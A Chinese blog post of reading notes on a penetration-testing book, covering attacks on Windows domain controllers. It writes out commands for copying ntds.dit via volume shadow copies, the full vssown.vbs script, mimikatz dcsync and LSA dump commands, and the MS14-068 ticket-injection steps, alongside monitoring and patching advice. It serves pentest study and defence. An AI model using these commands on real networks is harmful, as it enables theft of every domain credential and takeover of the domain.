《内网安全攻防:渗透测试实战指南》读书笔记(六):域控制器安全

前言

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章是域控制器安全,介绍了使用Kerberos域用户提权和导出ntds.dit中散列值的方法,并针对域控制器攻击提出了有效的安全建议

在实际网络环境中,攻击者渗透内网的终极目标是获取域控制器的权限,从而控制整个域

一、使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都被保存在ntds.dit文件中

  • ntds.dit是一个二进制文件,存储在DC的C:\Windows\NTDS\ntds.dit
  • 包含了域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息及其他信息
  • 类似SAM文件一样,是被系统锁定的

可以用卷影拷贝服务(Volume Shadow Copy Service,VSS)提取ntds.dit,VSS本质上属于快照(snapshot)技术,主要用于备份和恢复(即使目标文件处于锁定状态)

1、ntdsutil.exe

为AD提供管理机制的命令行工具,支持Windows server 2003/2008/2012

//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit

2、vssadmin

Windows 7 及 server 2008 提供的VSS管理工具

//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\window\NTDS\ntds.dit c:\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet

3、vssown.vbs

Tim Tomes开发的脚本,功能类似vssadmin

脚本如下

REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).

Set args = WScript.Arguments

if args.Count < 1  Then
  wscript.Echo "Usage: cscript vssown.vbs [option]"
  wscript.Echo
  wscript.Echo "  Options:"
  wscript.Echo
  wscript.Echo "  /list                             - List current volume shadow copies."
  wscript.Echo "  /start                            - Start the shadow copy service."
  wscript.Echo "  /stop                             - Halt the shadow copy service."
  wscript.Echo "  /status                           - Show status of shadow copy service."
  wscript.Echo "  /mode                             - Display the shadow copy service start mode."
  wscript.Echo "  /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
  wscript.Echo "  /create [drive_letter]            - Create a shadow copy."
  wscript.Echo "  /delete [id|*]                    - Delete a specified or all shadow copies."
  wscript.Echo "  /mount [path] [device_object]     - Mount a shadow copy to the given path."
  wscript.Echo "  /execute [\path\to\file]          - Launch executable from within an umounted shadow copy."
  wscript.Echo "  /store                            - Display storage statistics."
  wscript.Echo "  /size [bytes]                     - Set drive space reserved for shadow copies."
  REM build_off
  wscript.Echo "  /build [filename]                 - Print pasteable script to stdout."REM no_build
  REM build_on
  wscript.Quit(0)
End If

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Select Case args.Item(0)

  Case "/list"
    Wscript.Echo "SHADOW COPIES"
    Wscript.Echo "============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
    For Each objItem in colItems
      Wscript.Echo "[*] ID:                  " & objItem.ID
      Wscript.Echo "[*] Client accessible:   " & objItem.ClientAccessible
      Wscript.Echo "[*] Count:               " & objItem.Count
      Wscript.Echo "[*] Device object:       " & objItem.DeviceObject
      Wscript.Echo "[*] Differential:        " & objItem.Differential
      Wscript.Echo "[*] Exposed locally:     " & objItem.ExposedLocally
      Wscript.Echo "[*] Exposed name:        " & objItem.ExposedName
      Wscript.Echo "[*] Exposed remotely:    " & objItem.ExposedRemotely
      Wscript.Echo "[*] Hardware assisted:   " & objItem.HardwareAssisted
      Wscript.Echo "[*] Imported:            " & objItem.Imported
      Wscript.Echo "[*] No auto release:     " & objItem.NoAutoRelease
      Wscript.Echo "[*] Not surfaced:        " & objItem.NotSurfaced
      Wscript.Echo "[*] No writers:          " & objItem.NoWriters
      Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
      Wscript.Echo "[*] Persistent:          " & objItem.Persistent
      Wscript.Echo "[*] Plex:                " & objItem.Plex
      Wscript.Echo "[*] Provider ID:         " & objItem.ProviderID
      Wscript.Echo "[*] Service machine:     " & objItem.ServiceMachine
      Wscript.Echo "[*] Set ID:              " & objItem.SetID
      Wscript.Echo "[*] State:               " & objItem.State
      Wscript.Echo "[*] Transportable:       " & objItem.Transportable
      Wscript.Echo "[*] Volume name:         " & objItem.VolumeName
      Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/start"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StartService()
      Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/stop"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StopService()
      Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/status"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      Wscript.Echo "[*] " & objService.State
    Next
    wscript.Quit(0)

  Case "/mode"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      if args.Count < 2 Then
        Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."        
      Else
        mode = LCase(args.Item(1))
        if mode = "manual" or mode = "automatic" or mode = "disabled" Then
          errResult = objService.ChangeStartMode(mode)
          Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
        Else
          Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
        End If
      END If
    Next
    wscript.Quit(errResult)    

  Case "/create"
    VOLUME = args.Item(1) & ":\"
    Const CONTEXT = "ClientAccessible"
    Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
    Wscript.Echo "[*] Attempting to create a shadow copy."
    errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
    wscript.Quit(errResult)

  Case "/delete"
    id = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    For Each objItem in colItems
      if objItem.ID = id Then
        Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
        errResult = objItem.Delete_
      ElseIf id = "*" Then
        Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
        errResult = objItem.Delete_
      End If
    Next
    wscript.Quit(errResult)

  Case "/mount"
    Set WshShell = WScript.CreateObject("WScript.Shell")
    link = args.Item(1)
    sc = args.Item(2) & "\"
    cmd = "cmd /C mklink /D " & link & " " & sc
    WshShell.Run cmd, 2, true
    Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
    wscript.Quit(0)

  Case "/execute"
    file = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    Set objProcess = objWMIService.Get("Win32_Process")
    For Each objItem in colItems
      path = Replace(objItem.DeviceObject,"?",".") & file
      intReturn = objProcess.Create(path)
      if intReturn <> 0 Then
        wscript.Echo "[*] Process could not be created from " & path & "."
        wscript.Echo "[*] ReturnValue = " & intReturn
      Else
        wscript.Echo "[!] Process created from " & path & "."
        wscript.Quit(0)
      End If
    Next
    wscript.Quit(0)

  Case "/store"
    Wscript.Echo "SHADOW STORAGE"
    Wscript.Echo "=============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
        Wscript.Echo "[*] Allocated space:     " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Maximum size:        " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Used space:          " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
        Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/size"
    storagesize = CDbl(args.Item(1))
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
      objItem.MaxSpace = storagesize
      objItem.Put_
    Next
    Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
    wscript.Quit(0)

  REM build_off
  Case "/build"
    build = 1
    Const ForReading = 1
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
    Do Until objTextFile.AtEndOfStream
      strNextLine = objTextFile.Readline
      if InStr(strNextLine,"REM build_off") = 3 Then
        build = 0
      End If
      if strNextLine <> "" and build = 1 Then
        strNextLine = Replace(strNextLine,"&","^&")
        strNextLine = Replace(strNextLine,">","^>")
        strNextLine = Replace(strNextLine,"<","^<")
        wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
      End If
      if InStr(strNextLine,"REM build_on") = 3 Then
        build = 1
      End If
    Loop
    wscript.Quit(0)
  REM build_on

End Select

4、ntdsutil的IFM

在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

然后将ntds.dit复制到c:\test\Active Directory
将SYSTEM 和SECURITY复制到c:\test\registry\

在Nishang中有个脚本Copy-VSS.ps1实现了整个过程

5、diskshadow

diskshadow.exe可以使用VSS并导出ntds.dit

  • 微软官方出品,代码由微软签名
  • Windows server 2008、2012、2016默认自带
  • 导出ntds.dit时必须在C:\Windows\system32中操作

导出ntds.dit后,可以利用reg将syste.hive转储。因为system.hive中存放着ntds.dit的秘钥,如果没有该秘钥将无法查看ntds.dit中的信息

在渗透测试中,应该先将含有需要执行的命令的文本文件写入到远程目标系统,在使用diskshadow.exe调用执行该文件,使用更为灵活,文本如下:

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit

6、防范

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的恶意操作:

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为
  • 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件
  • 监控创建diskshadow.exe及相关子进程的事件
  • 监控客户端设备中的diskshadow.exe实例创建事件(除非业务需要,在Wmdows操作系统中不应该出现diskshadowexe)
  • 通过日志监控新出现的逻辑驱动器映射事件

二、导出ntds.dit中的散列值

几个工具的使用:

三、利用dcsync获取域散列值

mimikatz有个dcsync功能,可以利用卷影拷贝服务VSS直接读取ntds.dit并检索域散列值,需要域管理员权限

//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject

mimikatz命令执行结果太多,无法将其完全显示出来,可以先执行log命令(会在当前目录下生成一个文本文件,用于记录mimikatz的所有执行结果)

四、其他获取域散列值方法

1、Metasploit

use auxiliary/admin/amb/psexec_ntdsgrab

2、vshadow.exe和QuarkPwDump.exe

QuarkPwDump以快速、安全、全面地读取全部域账号和域散列值
下载地址:https://github.com/quarkslab/quarkspwdump

五、Kerberos域用户提权漏洞

Kerberos域用户提权漏洞(MS14-068、CVE-2014-6324、KB3011780)

  • Windows2012 R2及以前版本均受影响
  • 如果攻击者获取了域内任何一台计算机的shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制DC,最终获取域权限

票据注入一般流程

  • 查看DC的补丁安装情况(systeminfo、WMIC qfe)
  • 查看用户的SID(whoami /user
  • 生成高权限票据(ms14-068.exe)
  • 查看注入前的权限(dir \\\\DC\c$
  • 清除内存中的所有票据(mimikatz,kerberos::purge
  • 将高权限票据注入内存(kerberos::ptc
  • 验证权限

一些工具:

修复建议:

  • 开启Windows Update
  • 手动补丁
  • 对域内账号进行控制
  • 禁止使用弱口令
  • 及时定期修改密码
  • 安装反病毒软件并及时更新病毒库

结语

主要是围绕ntds.dit的获取来的

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/124272768